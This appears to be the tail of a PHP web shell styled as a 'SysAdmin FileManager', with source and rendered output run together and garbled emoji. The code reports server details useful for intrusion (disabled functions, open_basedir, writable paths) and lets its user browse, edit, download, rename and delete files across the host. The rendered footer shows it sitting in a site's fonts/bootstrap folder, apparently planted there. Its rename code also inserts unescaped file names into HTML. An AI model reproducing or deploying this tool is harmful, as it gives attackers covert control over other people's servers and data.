style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">PHP Version</td><td style="padding:5px 10px;"><?php echo PHP_VERSION; ?></td></tr> <tr><td style="padding:5px 10px; font-weight:600;">Operating System</td><td style="padding:5px 10px;"><?php echo sanitize_output(php_uname()); ?></td></tr> <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Server IP</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['SERVER_ADDR'] ?? 'N/A'); ?></td></tr> <tr><td style="padding:5px 10px; font-weight:600;">Your IP</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['REMOTE_ADDR'] ?? 'N/A'); ?></td></tr> <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Document Root</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['DOCUMENT_ROOT'] ?? 'N/A'); ?></td></tr> <tr><td style="padding:5px 10px; font-weight:600;">Script Path</td><td style="padding:5px 10px;"><?php echo sanitize_output(__FILE__); ?></td></tr> <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Current Directory</td><td style="padding:5px 10px;"><?php echo sanitize_output($current_dir); ?></td></tr> <tr><td style="padding:5px 10px; font-weight:600;">Writable</td><td style="padding:5px 10px;"><?php echo is_writable($current_dir) ? '<span style="color:var(--success);">â Yes</span>' : '<span style="color:var(--danger);">â No</span>'; ?></td></tr> <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Disk Free Space</td><td style="padding:5px 10px;"><?php echo format_size(@disk_free_space($current_dir)); ?></td></tr> <tr><td style="padding:5px 10px; font-weight:600;">Disk Total Space</td><td style="padding:5px 10px;"><?php echo format_size(@disk_total_space($current_dir)); ?></td></tr> <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">upload_max_filesize</td><td style="padding:5px 10px;"><?php echo ini_get('upload_max_filesize'); ?></td></tr> <tr><td style="padding:5px 10px; font-weight:600;">post_max_size</td><td style="padding:5px 10px;"><?php echo ini_get('post_max_size'); ?></td></tr> <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">memory_limit</td><td style="padding:5px 10px;"><?php echo ini_get('memory_limit'); ?></td></tr> <tr><td style="padding:5px 10px; font-weight:600;">max_execution_time</td><td style="padding:5px 10px;"><?php echo ini_get('max_execution_time'); ?>s</td></tr> <?php $ob = ini_get('open_basedir'); ?> <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">open_basedir</td><td style="padding:5px 10px; font-size:0.8rem;"><?php echo $ob ? sanitize_output($ob) : '<span style="color:var(--success);">No restriction</span>'; ?></td></tr> <?php $dl = ini_get('disable_functions'); ?> <tr><td style="padding:5px 10px; font-weight:600;">Disabled Functions</td><td style="padding:5px 10px; font-size:0.8rem;"><?php echo $dl ? sanitize_output($dl) : '<span style="color:var(--success);">None</span>'; ?></td></tr> </table> </div> </div> <?php elseif (isset($_GET['view']) && !empty($view_content)): ?> <div class="form-panel"> <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:15px; flex-wrap:wrap; gap:10px;"> <h3>đī¸ View: <?php echo sanitize_output($_GET['view']); ?></h3> <div class="action-links"> <?php if (is_editable($_GET['view'])): ?> <a href="?edit=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn btn-primary btn-sm">âī¸ Edit</a> <?php endif; ?> <a href="?download=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn btn-secondary btn-sm">âŦī¸ Download</a> <a href="?" class="btn btn-secondary btn-sm">â Close</a> </div> </div> <div style="background:white; padding:10px; border:1px solid #e2e8f0; border-radius:6px; overflow:hidden;"> <?php echo $view_content; ?> </div> </div> <?php elseif (!empty($edit_filename)): ?> <div class="form-panel"> <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:15px; flex-wrap:wrap; gap:10px;"> <h3>âī¸ Edit: <?php echo sanitize_output($edit_filename); ?></h3> <div class="action-links"> <a href="?view=<?php echo urlencode($edit_filename); ?>&token=<?php echo $security_token; ?>" class="btn btn-secondary btn-sm">đī¸ View</a> <a href="?" class="btn btn-secondary btn-sm">â Cancel</a> </div> </div> <form method="post" id="editForm"> <input type="hidden" name="security_token" value="<?php echo $security_token; ?>"> <input type="hidden" name="edit_filename" value="<?php echo sanitize_output($edit_filename); ?>"> <div class="editor-container"> <textarea name="edit_content" id="editorTextarea" class="editor-textarea"><?php echo sanitize_output($edit_content); ?></textarea> </div> <div class="editor-actions"> <button type="submit" name="save_edit" value="1" class="btn btn-success">đž Save Changes</button> <button type="button" class="btn btn-secondary" onclick="if(confirm('Discard changes?')) window.location.href='?'">Cancel</button> <span id="editorInfo" style="margin-left:auto; font-size:0.8rem; color:var(--text-muted);"></span> </div> </form> </div> <?php else: ?> <!-- Default: File Listing --> <div class="quick-actions"> <form method="post" class="form-row"> <input type="hidden" name="security_token" value="<?php echo $security_token; ?>"> <input type="text" name="mkdir" class="input-control" placeholder="đ New folder name..."> <button type="submit" class="btn btn-primary btn-sm">Create</button> </form> <form method="post" class="form-row"> <input type="hidden" name="security_token" value="<?php echo $security_token; ?>"> <input type="text" name="create_file" class="input-control" placeholder="đ New file name..."> <button type="submit" class="btn btn-success btn-sm">Create</button> </form> </div> <table class="file-table"> <thead> <tr> <th style="width:35%;">Name</th> <th style="width:10%;">Size</th> <th style="width:12%;">Permissions</th> <th style="width:12%;">Owner</th> <th style="width:15%;">Modified</th> <th style="width:16%;">Actions</th> </tr> </thead> <tbody> <?php $files = @scandir($current_dir); if ($files === false) { echo "<tr><td colspan='6' class='error-box'>Cannot read directory. Permission denied.</td></tr>"; } else { $dirs = []; $items = []; foreach ($files as $f) { if ($f === '.' || $f === '..') continue; $path = $current_dir . DS . $f; if (is_dir($path)) { $dirs[$f] = $path; } elseif (is_file($path)) { $items[$f] = $path; } } // Sort directories first, then files ksort($dirs); ksort($items); $all_files = $dirs + $items; if (empty($all_files)) { echo "<tr><td colspan='6' class='empty-state'> <div class='empty-state-icon'>đ</div> <p>This folder is empty</p> </td></tr>"; } else { foreach ($all_files as $name => $path) { $is_dir = is_dir($path); $ext = get_file_extension($name); // Get icon if ($is_dir) { $icon = '<span class="file-icon icon-dir">đ</span>'; } else { $icon = '<span class="file-icon">' . get_file_icon($name) . '</span>'; } $size = $is_dir ? '-' : format_size(@filesize($path)); $perms = get_perms($path); $owner = get_owner_name($path); $time = date('Y-m-d H:i', @filemtime($path)); $safe_name = sanitize_output($name); $safe_name_js = addslashes($name); // Build action links $actions = ''; if ($is_dir) { $actions .= '<a href="?cd=' . urlencode($path) . '&token=' . $security_token . '" class="action-link">đ Open</a>'; } else { $actions .= '<a href="?view=' . urlencode($name) . '&token=' . $security_token . '" class="action-link">đī¸ View</a>'; if (is_editable($name)) { $actions .= '<a href="?edit=' . urlencode($name) . '&token=' . $security_token . '" class="action-link">âī¸ Edit</a>'; } $actions .= '<a href="?download=' . urlencode($name) . '&token=' . $security_token . '" class="action-link">âŦī¸ Download</a>'; } $actions .= '<a href="javascript:void(0)" onclick="showRenameModal(\'' . $safe_name_js . '\')" class="action-link">đ Rename</a>'; $actions .= '<a href="javascript:void(0)" onclick="showDeleteModal(\'' . $safe_name_js . '\')" class="action-link action-delete">đī¸ Delete</a>'; // Build row echo '<tr>'; echo '<td>'; if ($is_dir) { echo '<a href="?cd=' . urlencode($path) . '&token=' . $security_token . '" class="file-name">'; } else { echo '<a href="?view=' . urlencode($name) . '&token=' . $security_token . '" class="file-name">'; } echo $icon . ' ' . $safe_name; echo '</a></td>'; echo '<td class="size-cell">' . $size . '</td>'; echo '<td class="perm-cell">' . $perms . '</td>'; echo '<td class="owner-cell">' . $owner . '</td>'; echo '<td class="date-cell">' . $time . '</td>'; echo '<td><div class="action-links">' . $actions . '</div></td>'; echo '</tr>'; } } // Show item count $dir_count = count($dirs); $file_count = count($items); echo '<tr><td colspan="6" style="padding:10px 12px; font-size:0.8rem; color:var(--text-muted); background:#f8fafc; text-align:right;">'; echo $dir_count . ' folder' . ($dir_count !== 1 ? 's' : '') . ', ' . $file_count . ' file' . ($file_count !== 1 ? 's' : ''); echo '</td></tr>'; } ?> </tbody> </table> <?php endif; ?> </div> <div style="padding:10px 20px; background:#f8fafc; border-top:1px solid var(--border); font-size:0.75rem; color:var(--text-muted); text-align:center;"> SysAdmin FileManager | Path: <?php echo sanitize_output($current_dir); ?> | Writable: <?php echo is_writable($current_dir) ? 'Yes' : 'No'; ?> </div> </div> <!-- Delete Confirmation Modal --> <div class="modal-overlay" id="deleteModal"> <div class="modal"> <h3>đī¸ Confirm Delete</h3> <p>Are you sure you want to delete <strong id="deleteItemName"></strong>?</p> <p style="font-size:0.85rem; color:var(--danger);">This action cannot be undone!</p> <div class="modal-actions"> <button class="btn btn-secondary" onclick="closeModal('deleteModal')">Cancel</button> <button class="btn btn-danger" id="confirmDeleteBtn">Delete</button> </div> </div> </div> <!-- Rename Modal --> <div class="modal-overlay" id="renameModal"> <div class="modal"> <h3>đ Rename</h3> <input type="text" id="renameInput" class="rename-input" placeholder="New name..."> <input type="hidden" id="renameOriginal"> <div class="modal-actions"> <button class="btn btn-secondary" onclick="closeModal('renameModal')">Cancel</button> <button class="btn btn-primary" id="confirmRenameBtn">Rename</button> </div> </div> </div> <script> // Toast auto-hide setTimeout(function() { document.querySelectorAll('.toast').forEach(function(el) { el.style.opacity = '0'; el.style.transition = 'opacity 0.5s'; setTimeout(function() { el.remove(); }, 500); }); }, 4000); // Delete Modal let deleteTarget = ''; function showDeleteModal(name) { deleteTarget = name; document.getElementById('deleteItemName').textContent = name; document.getElementById('deleteModal').style.display = 'flex'; } document.getElementById('confirmDeleteBtn').onclick = function() { if (deleteTarget) { window.location.href = '?delete=' + encodeURIComponent(deleteTarget) + '&token=<?php echo $security_token; ?>'; } }; // Rename Modal function showRenameModal(oldName) { document.getElementById('renameOriginal').value = oldName; document.getElementById('renameInput').value = oldName; document.getElementById('renameModal').style.display = 'flex'; // Select filename without extension var input = document.getElementById('renameInput'); var dotIndex = oldName.lastIndexOf('.'); if (dotIndex > 0) { input.setSelectionRange(0, dotIndex); } else { input.select(); } input.focus(); } document.getElementById('confirmRenameBtn').onclick = function() { var oldName = document.getElementById('renameOriginal').value; var newName = document.getElementById('renameInput').value.trim(); if (newName && newName !== oldName) { var form = document.createElement('form'); form.method = 'POST'; form.innerHTML = '<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">' + '<input type="hidden" name="rename_from" value="' + oldName + '">' + '<input type="hidden" name="rename_to" value="' + newName + '">'; document.body.appendChild(form); form.submit(); } }; // Enter key on rename input document.getElementById('renameInput').addEventListener('keypress', function(e) { if (e.key === 'Enter') { document.getElementById('confirmRenameBtn').click(); } }); // Close modals function closeModal(id) { document.getElementById(id).style.display = 'none'; } // Close modal on overlay click document.querySelectorAll('.modal-overlay').forEach(function(overlay) { overlay.addEventListener('click', function(e) { if (e.target === this) { this.style.display = 'none'; } }); }); // Close modals on Escape key document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { document.querySelectorAll('.modal-overlay').forEach(function(m) { m.style.display = 'none'; }); } }); // Editor enhancements <?php if (!empty($edit_filename)): ?> (function() { var textarea = document.getElementById('editorTextarea'); var infoSpan = document.getElementById('editorInfo'); function updateInfo() { var text = textarea.value; var lines = text.split('\n').length; var chars = text.length; infoSpan.textContent = 'Lines: ' + lines + ' | Characters: ' + chars; } updateInfo(); textarea.addEventListener('input', updateInfo); // Tab key support textarea.addEventListener('keydown', function(e) { if (e.key === 'Tab') { e.preventDefault(); var start = this.selectionStart; var end = this.selectionEnd; this.value = this.value.substring(0, start) + ' ' + this.value.substring(end); this.selectionStart = this.selectionEnd = start + 4; updateInfo(); } }); // Auto-resize function autoResize() { textarea.style.height = 'auto'; textarea.style.height = Math.max(500, textarea.scrollHeight) + 'px'; } autoResize(); textarea.addEventListener('input', autoResize); })(); // Warn before leaving with unsaved changes var editForm = document.getElementById('editForm'); var originalContent = textarea ? textarea.value : ''; window.addEventListener('beforeunload', function(e) { if (textarea && textarea.value !== originalContent) { e.preventDefault(); e.returnValue = ''; } }); <?php endif; ?> // Upload form with XHR for progress (optional enhancement) var uploadForm = document.getElementById('uploadForm'); if (uploadForm) { uploadForm.addEventListener('submit', function(e) { // Let form submit normally, but show progress indicator document.getElementById('uploadProgress').style.display = 'block'; document.getElementById('progressBar').style.width = '50%'; document.getElementById('progressText').textContent = 'Processing upload...'; }); } </script> </body> </html>
đž Save Changes
Cancel
SysAdmin FileManager | Path: /home/k2202442/public_html/fonts/bootstrap | Writable: Yes
đī¸ Confirm Delete
Are you sure you want to delete
?
This action cannot be undone!
Cancel
Delete
đ Rename
Cancel
Rename